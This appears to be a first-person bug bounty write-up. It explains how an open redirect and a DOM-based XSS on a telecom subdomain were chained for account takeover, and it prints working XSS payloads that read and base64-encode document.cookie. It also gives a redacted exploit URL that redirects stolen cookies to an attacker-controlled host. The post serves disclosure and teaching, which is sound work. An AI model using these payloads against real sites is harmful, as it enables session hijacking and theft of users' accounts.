My First Bug Bounty: Chaining Open Redirect and DOM XSS into Account Takeover

Search for a command to run...

Chaining open redirect with DOM XSS is such a classic yet powerful attack vector. What makes this especially interesting is how the open redirect — often dismissed as low severity — became the entry point for a full account takeover. This is a great reminder that vulnerability chaining is where the real impact lies. Did the VDP have any specific scope limitations on redirect-based findings, or was the XSS chain what elevated it to high severity?
tryhackme room

In this article, we will explore the PwnedLabs Free Azure Blob Container as a potential vector for initial access. Our focus will be on identifying and leveraging any exposed blob storage that could provide a pathway to obtaining user-level access fo...

https://github.com/theblxckcicada/Cicada-Mastertul

Breaking Stereotypes: My Journey from Conventional to Tech Enthusiast

This was my first ever valid bug bounty report through a VDP, and it got marked Medium severity. It was also not a duplicate, so for me this was a huge win.
One thing I had heard a lot in bug bounty is that open redirects on their own usually do not have much impact. And honestly, that is often true. But the first time I really understood bug chaining was after reading Bug Bounty Bootcamp by Vickie Li. That idea stayed with me.
At the time, I was actually hunting for SSRF when I landed on an open redirect on a subdomain belonging to a large telecom company. Instead of moving on, I decided to read the JavaScript to understand how it worked. That is when I found something much better: a DOM-Based XSS.
Most of my payloads were blocked, but I found one that worked:
<Img Src=OnXSS OnErroR=confirm(document.cookie)>
That confirmed JavaScript execution. From there, I started thinking beyond just XSS and asked myself: can I turn this into real impact?
I noticed the application attached a query parameter called utm_source, and that value could be updated through the DOM. That let me use this payload:
<Img Src=OnXSS OnErroR=utm_source=encodeURIComponent(btoa(document.cookie))>
By chaining that with the open redirect, I was able to exfiltrate cookie data and reuse the victim’s session, which led to session hijacking and ultimately account takeover.
The redacted endpoint structure looked like this:
https://example-sub.example.com/preview?next=<ATTACKER_CONTROLLED_URL>&bannerText=<Img Src=OnXSS OnErroR=utm_source=encodeURIComponent(btoa(document.cookie))>
What made this work was simple:
the cookies were not HttpOnly, so JavaScript could read them
the next and bannerText parameters were not properly validated or sanitized
That is what made the chain dangerous. The open redirect alone might not have been enough, but combined with DOM XSS and readable session cookies, it became a medium-severity account takeover
One of the best parts of this experience was getting the triage message back and seeing that the report was marked as triaged and medium severity. Since this was my first valid bug bounty report and it was also not a duplicate, that moment meant a lot to me.
This bug taught me something I will carry into every hunt: do not dismiss “low-impact” bugs too quickly. Sometimes the real value is not the first bug you find, but what happens when you connect it to something else.